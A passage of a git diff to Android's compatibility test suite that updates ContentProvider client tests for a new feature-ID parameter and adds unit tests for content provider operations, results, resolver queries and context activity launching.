     public void testOpenAssetFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal);
 
-        verify(mIContentProvider).openAssetFile(PACKAGE_NAME, URI, MODE, mICancellationSignal);
+        verify(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+                mICancellationSignal);
     }
 
     public void testOpenAssetFileTimeout()
             throws RemoteException, InterruptedException, FileNotFoundException {
-        when(mIContentProvider.openAssetFile(PACKAGE_NAME, URI, MODE, mICancellationSignal))
-                .thenAnswer(ANSWER_SLEEP);
+        when(mIContentProvider.openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+                mICancellationSignal)).thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider).openAssetFile(PACKAGE_NAME, URI, MODE, mICancellationSignal);
+        verify(mIContentProvider).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+                mICancellationSignal);
     }
 
     public void testOpenAssetFileAlreadyCancelled() throws Exception {
         testAlreadyCancelled(
                 () -> mContentProviderClient.openAssetFile(URI, MODE, mCancellationSignal));
 
-        verify(mIContentProvider, never()).openAssetFile(PACKAGE_NAME, URI, MODE,
+        verify(mIContentProvider, never()).openAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
                 mICancellationSignal);
     }
 
     public void testOpenTypedAssetFileDescriptor() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openTypedAssetFileDescriptor(URI, MODE, ARGS, mCancellationSignal);
 
-        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
                 mICancellationSignal);
     }
 
     public void testOpenTypedAssetFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS, mCancellationSignal);
 
-        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
                 mICancellationSignal);
     }
 
     public void testOpenTypedAssetFileTimeout()
             throws RemoteException, InterruptedException, FileNotFoundException {
-        when(mIContentProvider.openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+        when(mIContentProvider.openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
                 mICancellationSignal))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS,
                 mCancellationSignal));
 
-        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE, ARGS,
                 mICancellationSignal);
     }
 
@@ -340,39 +347,39 @@
                 () -> mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS,
                         mCancellationSignal));
 
-        verify(mIContentProvider, never()).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
-                mICancellationSignal);
+        verify(mIContentProvider, never()).openTypedAssetFile(PACKAGE_NAME, FEATURE_ID, URI, MODE,
+                ARGS, mICancellationSignal);
     }
 
     public void testApplyBatch() throws RemoteException, OperationApplicationException {
         mContentProviderClient.applyBatch(AUTHORITY, OPS);
 
-        verify(mIContentProvider).applyBatch(PACKAGE_NAME, AUTHORITY, OPS);
+        verify(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS);
     }
 
     public void testApplyBatchTimeout()
             throws RemoteException, InterruptedException, OperationApplicationException {
-        when(mIContentProvider.applyBatch(PACKAGE_NAME, AUTHORITY, OPS))
+        when(mIContentProvider.applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.applyBatch(AUTHORITY, OPS));
 
-        verify(mIContentProvider).applyBatch(PACKAGE_NAME, AUTHORITY, OPS);
+        verify(mIContentProvider).applyBatch(PACKAGE_NAME, FEATURE_ID, AUTHORITY, OPS);
     }
 
     public void testCall() throws RemoteException {
         mContentProviderClient.call(AUTHORITY, METHOD, ARG, ARGS);
 
-        verify(mIContentProvider).call(PACKAGE_NAME, AUTHORITY, METHOD, ARG, ARGS);
+        verify(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS);
     }
 
     public void testCallTimeout() throws RemoteException, InterruptedException {
-        when(mIContentProvider.call(PACKAGE_NAME, AUTHORITY, METHOD, ARG, ARGS))
+        when(mIContentProvider.call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS))
                 .thenAnswer(ANSWER_SLEEP);
 
         testTimeout(() -> mContentProviderClient.call(AUTHORITY, METHOD, ARG, ARGS));
 
-        verify(mIContentProvider).call(PACKAGE_NAME, AUTHORITY, METHOD, ARG, ARGS);
+        verify(mIContentProvider).call(PACKAGE_NAME, FEATURE_ID, AUTHORITY, METHOD, ARG, ARGS);
     }
 
     private void testTimeout(Function function) throws InterruptedException {
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderOperationTest.java b/tests/tests/content/src/android/content/cts/ContentProviderOperationTest.java
new file mode 100644
index 0000000..1aacd99
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContentProviderOperationTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.content.cts;
+
+import static android.content.ContentResolver.QUERY_ARG_SQL_SELECTION;
+import static android.content.ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.content.ContentProvider;
+import android.content.ContentProviderOperation;
+import android.content.ContentProviderResult;
+import android.content.ContentValues;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatchers;
+
+import java.util.Objects;
+
+@RunWith(AndroidJUnit4.class)
+public class ContentProviderOperationTest {
+    private static final Uri TEST_URI = Uri.parse("content://com.example");
+    private static final Uri TEST_URI_RESULT = Uri.parse("content://com.example/12");
+    private static final String TEST_SELECTION = "foo=?";
+    private static final String[] TEST_SELECTION_ARGS = new String[] { "bar" };
+    private static final String TEST_METHOD = "test_method";
+    private static final String TEST_ARG = "test_arg";
+
+    private static final ContentValues TEST_VALUES = new ContentValues();
+    private static final Bundle TEST_EXTRAS = new Bundle();
+    private static final Bundle TEST_EXTRAS_WITH_SQL = new Bundle();
+    private static final Bundle TEST_EXTRAS_RESULT = new Bundle();
+
+    static {
+        TEST_VALUES.put("test_key", "test_value");
+
+        TEST_EXTRAS.putString("test_key", "test_value");
+
+        TEST_EXTRAS_WITH_SQL.putAll(TEST_EXTRAS);
+        TEST_EXTRAS_WITH_SQL.putString(QUERY_ARG_SQL_SELECTION, TEST_SELECTION);
+        TEST_EXTRAS_WITH_SQL.putStringArray(QUERY_ARG_SQL_SELECTION_ARGS, TEST_SELECTION_ARGS);
+
+        TEST_EXTRAS_RESULT.putString("test_result", "42");
+    }
+
+    private static final ContentProviderResult[] TEST_RESULTS = new ContentProviderResult[] {
+            new ContentProviderResult(TEST_URI_RESULT),
+            new ContentProviderResult(84),
+            new ContentProviderResult(TEST_EXTRAS_RESULT),
+            new ContentProviderResult(new IllegalArgumentException()),
+    };
+
+    private ContentProvider provider;
+
+    private ContentProviderOperation op;
+    private ContentProviderResult res;
+
+    @Before
+    public void setUp() throws Exception {
+        provider = mock(ContentProvider.class);
+    }
+
+    @Test
+    public void testInsert() throws Exception {
+        op = ContentProviderOperation.newInsert(TEST_URI)
+                .withValues(TEST_VALUES)
+                .withExtras(TEST_EXTRAS)
+                .build();
+
+        assertEquals(TEST_URI, op.getUri());
+        assertTrue(op.isInsert());
+        assertTrue(op.isWriteOperation());
+
+        when(provider.insert(eq(TEST_URI), eq(TEST_VALUES), eqBundle(TEST_EXTRAS)))
+                .thenReturn(TEST_URI_RESULT);
+        res = op.apply(provider, null, 0);
+        assertEquals(TEST_URI_RESULT, res.uri);
+    }
+
+    @Test
+    public void testUpdate() throws Exception {
+        op = ContentProviderOperation.newUpdate(TEST_URI)
+                .withSelection(TEST_SELECTION, TEST_SELECTION_ARGS)
+                .withValues(TEST_VALUES)
+                .withExtras(TEST_EXTRAS)
+                .build();
+
+        assertEquals(TEST_URI, op.getUri());
+        assertTrue(op.isUpdate());
+        assertTrue(op.isWriteOperation());
+
+        when(provider.update(eq(TEST_URI), eq(TEST_VALUES), eqBundle(TEST_EXTRAS_WITH_SQL)))
+                .thenReturn(1);
+        res = op.apply(provider, null, 0);
+        assertEquals(1, (int) res.count);
+    }
+
+    @Test
+    public void testDelete() throws Exception {
+        op = ContentProviderOperation.newDelete(TEST_URI)
+                .withSelection(TEST_SELECTION, TEST_SELECTION_ARGS)
+                .withExtras(TEST_EXTRAS)
+                .build();
+
+        assertEquals(TEST_URI, op.getUri());
+        assertTrue(op.isDelete());
+        assertTrue(op.isWriteOperation());
+
+        when(provider.delete(eq(TEST_URI), eqBundle(TEST_EXTRAS_WITH_SQL)))
+                .thenReturn(1);
+        res = op.apply(provider, null, 0);
+        assertEquals(1, (int) res.count);
+    }
+
+    @Test
+    public void testAssertQuery() throws Exception {
+        op = ContentProviderOperation.newAssertQuery(TEST_URI)
+                .withSelection(TEST_SELECTION, TEST_SELECTION_ARGS)
+                .withExtras(TEST_EXTRAS)
+                .withValues(TEST_VALUES)
+                .build();
+
+        assertEquals(TEST_URI, op.getUri());
+        assertTrue(op.isAssertQuery());
+        assertTrue(op.isReadOperation());
+
+        final MatrixCursor cursor = new MatrixCursor(new String[] { "test_key" });
+        cursor.addRow(new Object[] { "test_value" });
+
+        when(provider.query(eq(TEST_URI), eq(new String[] { "test_key" }),
+                eqBundle(TEST_EXTRAS_WITH_SQL), eq(null)))
+                        .thenReturn(cursor);
+        op.apply(provider, null, 0);
+    }
+
+    @Test
+    public void testCall() throws Exception {
+        op = ContentProviderOperation.newCall(TEST_URI, TEST_METHOD, TEST_ARG)
+                .withExtras(TEST_EXTRAS)
+                .build();
+
+        assertEquals(TEST_URI, op.getUri());
+        assertTrue(op.isCall());
+
+        when(provider.call(eq(TEST_URI.getAuthority()), eq(TEST_METHOD),
+                eq(TEST_ARG), eqBundle(TEST_EXTRAS)))
+                        .thenReturn(TEST_EXTRAS_RESULT);
+        res = op.apply(provider, null, 0);
+        assertEquals(TEST_EXTRAS_RESULT, res.extras);
+    }
+
+    @Test
+    public void testBackReferenceSelection() throws Exception {
+        op = ContentProviderOperation.newDelete(TEST_URI)
+                .withSelection(null, new String[] { "a", "b", "c", "d" })
+                .withSelectionBackReference(0, 0)
+                .withSelectionBackReference(1, 1)
+                .withSelectionBackReference(2, 2, "test_result")
+                .build();
+
+        final String[] res = op.resolveSelectionArgsBackReferences(TEST_RESULTS,
+                TEST_RESULTS.length);
+        assertEquals("12", res[0]);
+        assertEquals("84", res[1]);
+        assertEquals("42", res[2]);
+        assertEquals("d", res[3]);
+    }
+
+    @Test
+    public void testBackReferenceValue() throws Exception {
+        final ContentValues values = new ContentValues();
+        values.put("a", "a");
+        values.put("b", "b");
+        values.put("c", "c");
+        values.put("d", "d");
+
+        op = ContentProviderOperation.newUpdate(TEST_URI)
+                .withValues(values)
+                .withValueBackReference("a", 0)
+                .withValueBackReference("b", 1)
+                .withValueBackReference("c", 2, "test_result")
+                .build();
+
+        final ContentValues res = op.resolveValueBackReferences(TEST_RESULTS,
+                TEST_RESULTS.length);
+        assertEquals(12L, (long) res.get("a"));
+        assertEquals(84L, (long) res.get("b"));
+        assertEquals("42", res.get("c"));
+        assertEquals("d", res.get("d"));
+    }
+
+    @Test
+    public void testBackReferenceExtra() throws Exception {
+        final Bundle extras = new Bundle();
+        extras.putString("a", "a");
+        extras.putString("b", "b");
+        extras.putString("c", "c");
+        extras.putString("d", "d");
+
+        op = ContentProviderOperation.newCall(TEST_URI, TEST_METHOD, TEST_ARG)
+                .withExtras(extras)
+                .withExtraBackReference("a", 0)
+                .withExtraBackReference("b", 1)
+                .withExtraBackReference("c", 2, "test_result")
+                .build();
+
+        final Bundle res = op.resolveExtrasBackReferences(TEST_RESULTS,
+                TEST_RESULTS.length);
+        assertEquals(12L, (long) res.get("a"));
+        assertEquals(84L, (long) res.get("b"));
+        assertEquals("42", res.get("c"));
+        assertEquals("d", res.get("d"));
+    }
+
+    @Test
+    public void testExceptionAllowed() throws Exception {
+        op = ContentProviderOperation.newCall(TEST_URI, TEST_METHOD, TEST_ARG)
+                .withExtras(TEST_EXTRAS)
+                .withExceptionAllowed(true)
+                .build();
+
+        assertTrue(op.isExceptionAllowed());
+
+        when(provider.call(eq(TEST_URI.getAuthority()), eq(TEST_METHOD),
+                eq(TEST_ARG), eqBundle(TEST_EXTRAS)))
+                        .thenThrow(new IllegalArgumentException());
+        res = op.apply(provider, null, 0);
+        assertTrue((res.exception instanceof IllegalArgumentException));
+    }
+
+    public static Bundle eqBundle(Bundle bundle) {
+        return ArgumentMatchers.argThat((other) -> {
+            // Ideally we'd use something like Bundle.kindofEquals() here, but
+            // it doesn't perform deep equals inside String[] values, so the
+            // best we can do is a simple string equality check
+            return Objects.equals(bundle.toString(), other.toString());
+        });
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderResultTest.java b/tests/tests/content/src/android/content/cts/ContentProviderResultTest.java
new file mode 100644
index 0000000..7e98296
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContentProviderResultTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.content.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.ContentProviderResult;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ContentProviderResultTest {
+    private final Uri TEST_URI = Uri.EMPTY;
+    private final Bundle TEST_BUNDLE = Bundle.EMPTY;
+    private final Exception TEST_EXCEPTION = new IllegalArgumentException();
+
+    @Test
+    public void testUri() throws Exception {
+        assertEquals(TEST_URI, new ContentProviderResult(TEST_URI).uri);
+    }
+
+    @Test
+    public void testCount() throws Exception {
+        assertEquals(42, (int) new ContentProviderResult(42).count);
+    }
+
+    @Test
+    public void testExtras() throws Exception {
+        assertEquals(TEST_BUNDLE, new ContentProviderResult(TEST_BUNDLE).extras);
+    }
+
+    @Test
+    public void testException() throws Exception {
+        assertEquals(TEST_EXCEPTION, new ContentProviderResult(TEST_EXCEPTION).exception);
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverTest.java b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
index d06514f..f635625 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
@@ -25,6 +25,8 @@
 import android.content.res.AssetFileDescriptor;
 import android.database.ContentObserver;
 import android.database.Cursor;
+import android.icu.text.Collator;
+import android.icu.util.ULocale;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.CancellationSignal;
@@ -46,6 +48,9 @@
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -427,6 +432,47 @@
         mCursor.close();
     }
 
+    public void testQuery_SqlSortingFromBundleArgs_Locale() {
+        mContentResolver.delete(TABLE1_URI, null, null);
+
+        final List<String> data = Arrays.asList(
+                "ABC", "abc", "pinyin", "가나다", "바사", "테스트", "马",
+                "嘛", "妈", "骂", "吗", "码", "玛", "麻", "中", "梵", "苹果", "久了", "伺候");
+
+        for (String s : data) {
+            final ContentValues values = new ContentValues();
+            values.put(COLUMN_KEY_NAME, s.hashCode());
+            values.put(COLUMN_VALUE_NAME, s);
+            mContentResolver.insert(TABLE1_URI, values);
+        }
+
+        String[] sortCols = new String[] { COLUMN_VALUE_NAME };
+        Bundle queryArgs = new Bundle();
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_SORT_COLUMNS, sortCols);
+
+        for (String locale : new String[] {
+                "zh",
+                "zh@collation=pinyin",
+                "zh@collation=stroke",
+                "zh@collation=zhuyin",
+        }) {
+            // Assert that sorting is identical between SQLite and ICU4J
+            queryArgs.putString(ContentResolver.QUERY_ARG_SORT_LOCALE, locale);
+            try (Cursor c = mContentResolver.query(TABLE1_URI, sortCols, queryArgs, null)) {
+                data.sort(Collator.getInstance(new ULocale(locale)));
+                assertEquals(data, collect(c));
+            }
+        }
+    }
+
+    private static List<String> collect(Cursor c) {
+        List<String> res = new ArrayList<>();
+        while (c.moveToNext()) {
+            res.add(c.getString(0));
+        }
+        return res;
+    }
+
     /**
      * Verifies that paging information is correctly relayed, and that
      * honored arguments from a supporting client are returned correctly.
@@ -1199,6 +1245,32 @@
         mContentResolver.unregisterContentObserver(mco);
     }
 
+    public void testNotifyChange_Multiple() {
+        final MockContentObserver observer1 = new MockContentObserver();
+        final MockContentObserver observer2 = new MockContentObserver();
+
+        mContentResolver.registerContentObserver(TABLE1_URI, true, observer1);
+        mContentResolver.registerContentObserver(TABLE2_URI, true, observer2);
+
+        assertFalse(observer1.hadOnChanged());
+        assertFalse(observer2.hadOnChanged());
+
+        final ArrayList<Uri> list = new ArrayList<>();
+        list.add(TABLE1_URI);
+        list.add(TABLE2_URI);
+        mContentResolver.notifyChange(list, null, 0);
+
+        new PollingCheck() {
+            @Override
+            protected boolean check() {
+                return observer1.hadOnChanged() && observer2.hadOnChanged();
+            }
+        }.run();
+
+        mContentResolver.unregisterContentObserver(observer1);
+        mContentResolver.unregisterContentObserver(observer2);
+    }
+
     public void testStartCancelSync() {
         Bundle extras = new Bundle();
 
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java b/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java
index 6959014..42675ab 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java
@@ -149,18 +149,36 @@
     }
 
     @Test
+    public void testInsert_Extras() throws Exception {
+        doReturn(URI).when(mProvider).insert(URI, VALUES, EXTRAS);
+        assertEquals(URI, mResolver.insert(URI, VALUES, EXTRAS));
+    }
+
+    @Test
     public void testUpdate() throws Exception {
         doReturn(42).when(mProvider).update(URI, VALUES, ARG, ARG_ARRAY);
         assertEquals(42, mResolver.update(URI, VALUES, ARG, ARG_ARRAY));
     }
 
     @Test
+    public void testUpdate_Extras() throws Exception {
+        doReturn(21).when(mProvider).update(URI, VALUES, EXTRAS);
+        assertEquals(21, mResolver.update(URI, VALUES, EXTRAS));
+    }
+
+    @Test
     public void testDelete() throws Exception {
         doReturn(42).when(mProvider).delete(URI, ARG, ARG_ARRAY);
         assertEquals(42, mResolver.delete(URI, ARG, ARG_ARRAY));
     }
 
     @Test
+    public void testDelete_Extras() throws Exception {
+        doReturn(21).when(mProvider).delete(URI, EXTRAS);
+        assertEquals(21, mResolver.delete(URI, EXTRAS));
+    }
+
+    @Test
     public void testRefresh() throws Exception {
         doReturn(true).when(mProvider).refresh(URI, EXTRAS, SIGNAL);
         assertEquals(true, mResolver.refresh(URI, EXTRAS, SIGNAL));
diff --git a/tests/tests/content/src/android/content/cts/ContentValuesTest.java b/tests/tests/content/src/android/content/cts/ContentValuesTest.java
index ea5577d..e6bc2d6 100644
--- a/tests/tests/content/src/android/content/cts/ContentValuesTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentValuesTest.java
@@ -551,4 +551,14 @@
             // expected, test success.
         }
     }
+
+    @Test
+    public void testIsEmpty() {
+        final ContentValues values = new ContentValues();
+        assertTrue(values.isEmpty());
+        values.put("k", "v");
+        assertFalse(values.isEmpty());
+        values.clear();
+        assertTrue(values.isEmpty());
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index a78dd1f..336c492 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -16,7 +16,11 @@
 
 package android.content.cts;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.app.Activity;
 import android.app.AppOpsManager;
+import android.app.Instrumentation;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -57,6 +61,7 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.IBinderPermissionTestService;
 
 import org.xmlpull.v1.XmlPullParser;
@@ -737,6 +742,46 @@
         mContext.unregisterReceiver(broadcastReceiver);
     }
 
+    public void testRegisterReceiverForAllUsers() throws InterruptedException {
+        FilteredReceiver broadcastReceiver = new FilteredReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(MOCK_ACTION1);
+
+        // Test registerReceiverForAllUsers without permission: verify SecurityException.
+        try {
+            mContext.registerReceiverForAllUsers(broadcastReceiver, filter, null, null);
+            fail("testRegisterReceiverForAllUsers: "
+                    + "SecurityException expected on registerReceiverForAllUsers");
+        } catch (SecurityException se) {
+            // expected
+        }
+
+        // Test registerReceiverForAllUsers with permission.
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mContext,
+                    (ctx) -> ctx.registerReceiverForAllUsers(broadcastReceiver, filter, null, null)
+            );
+        } catch (SecurityException se) {
+            fail("testRegisterReceiverForAllUsers: SecurityException not expected");
+        }
+
+        // Test unwanted intent(action = MOCK_ACTION2)
+        broadcastReceiver.reset();
+        waitForFilteredIntent(mContext, MOCK_ACTION2);
+        assertFalse(broadcastReceiver.hadReceivedBroadCast1());
+        assertFalse(broadcastReceiver.hadReceivedBroadCast2());
+
+        // Send wanted intent(action = MOCK_ACTION1)
+        broadcastReceiver.reset();
+        waitForFilteredIntent(mContext, MOCK_ACTION1);
+        assertTrue(broadcastReceiver.hadReceivedBroadCast1());
+        assertEquals(broadcastReceiver.getSendingUser(), Process.myUserHandle());
+        assertFalse(broadcastReceiver.hadReceivedBroadCast2());
+
+        mContext.unregisterReceiver(broadcastReceiver);
+    }
+
     public void testAccessWallpaper() throws IOException, InterruptedException {
         // set Wallpaper by context#setWallpaper(Bitmap)
         Bitmap bitmap = Bitmap.createBitmap(20, 30, Bitmap.Config.RGB_565);
@@ -857,12 +902,12 @@
         assertNotNull(mContext.getPackageResourcePath());
     }
 
-    public void testStartActivity() {
+    public void testStartActivityWithActivityNotFound() {
         Intent intent = new Intent(mContext, ContextCtsActivity.class);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         try {
             mContext.startActivity(intent);
-            fail("Test startActivity should thow a ActivityNotFoundException here.");
+            fail("Test startActivity should throw a ActivityNotFoundException here.");
         } catch (ActivityNotFoundException e) {
             // Because ContextWrapper is a wrapper class, so no need to test
             // the details of the function's performance. Getting a result
@@ -870,6 +915,77 @@
         }
     }
 
+    public void testStartActivities() throws Exception {
+        final Intent[] intents = {
+                new Intent().setComponent(new ComponentName(mContext,
+                        AvailableIntentsActivity.class)).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+                new Intent().setComponent(new ComponentName(mContext,
+                        ImageCaptureActivity.class)).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+        };
+
+        final Instrumentation.ActivityMonitor firstMonitor = getInstrumentation()
+                .addMonitor(AvailableIntentsActivity.class.getName(), null /* result */,
+                        false /* block */);
+        final Instrumentation.ActivityMonitor secondMonitor = getInstrumentation()
+                .addMonitor(ImageCaptureActivity.class.getName(), null /* result */,
+                        false /* block */);
+
+        mContext.startActivities(intents);
+
+        Activity firstActivity = getInstrumentation().waitForMonitorWithTimeout(firstMonitor, 5000);
+        assertNotNull(firstActivity);
+
+        Activity secondActivity = getInstrumentation().waitForMonitorWithTimeout(secondMonitor,
+                5000);
+        assertNotNull(secondActivity);
+    }
+
+    public void testStartActivityAsUser() {
+        try (ActivitySession activitySession = new ActivitySession()) {
+            Intent intent = new Intent(mContext, AvailableIntentsActivity.class);
+
+            activitySession.assertActivityLaunched(intent.getComponent().getClassName(),
+                    () -> SystemUtil.runWithShellPermissionIdentity(() ->
+                            mContext.startActivityAsUser(intent, UserHandle.CURRENT)));
+        }
+    }
+
+    public void testStartActivity()  {
+        try (ActivitySession activitySession = new ActivitySession()) {
+            Intent intent = new Intent(mContext, AvailableIntentsActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            activitySession.assertActivityLaunched(intent.getComponent().getClassName(),
+                    () -> mContext.startActivity(intent));
+        }
+    }
+
+    /**
+     * Helper class to launch / close test activity.
+     */
+    private class ActivitySession implements AutoCloseable {
+        private Activity mTestActivity;
+        private static final int ACTIVITY_LAUNCH_TIMEOUT = 5000;
+
+        void assertActivityLaunched(String activityClassName, Runnable activityStarter) {
+            final Instrumentation.ActivityMonitor monitor = getInstrumentation()
+                    .addMonitor(activityClassName, null /* result */,
+                            false /* block */);
+            activityStarter.run();
+            // Wait for activity launch with timeout.
+            mTestActivity = getInstrumentation().waitForMonitorWithTimeout(monitor,
+                    ACTIVITY_LAUNCH_TIMEOUT);
+            assertNotNull(mTestActivity);
+        }
+
+        @Override
+        public void close() {
+            if (mTestActivity != null) {
+                mTestActivity.finishAndRemoveTask();
+            }
+        }
+    }
+
     public void testCreatePackageContext() throws PackageManager.NameNotFoundException {
         Context actualContext = mContext.createPackageContext(getValidPackageName(),
                 Context.CONTEXT_IGNORE_SECURITY);
@@ -887,6 +1003,15 @@
         }
     }
 
+    public void testCreateContextAsUser() throws Exception {
+        for (UserHandle user : new UserHandle[] {
+                android.os.Process.myUserHandle(),
+                UserHandle.ALL, UserHandle.CURRENT, UserHandle.SYSTEM
+        }) {
+            assertEquals(user, mContext.createContextAsUser(user, 0).getUser());
+        }
+    }
+
     /**
      * Helper method to retrieve a valid application package name to use for tests.
      */
@@ -1483,5 +1608,4 @@
         } catch (IllegalArgumentException expected) {
         }
     }
-
 }
diff --git a/tests/tests/content/src/android/content/cts/MockBuggyProvider.java b/tests/tests/content/src/android/content/cts/MockBuggyProvider.java
new file mode 100644
index 0000000..47d83ee
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/MockBuggyProvider.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Mocks a buggy provider which stalls on the {@link #getType(Uri)} call.
+ *
+ * see {@link BuggyProviderTest}
+ */
+public class MockBuggyProvider extends ContentProvider {
+    public static final String AUTHORITY = "android.content.cts.mockbuggyprovider";
+    public static final Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY);
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        try {
+            TimeUnit.SECONDS.sleep(10); // stall for enough time such that an ANR is thrown
+        } catch (Exception ignore) { }
+        return "buggy";
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/MockContentProvider.java b/tests/tests/content/src/android/content/cts/MockContentProvider.java
index d2b613c..ee6d0be 100644
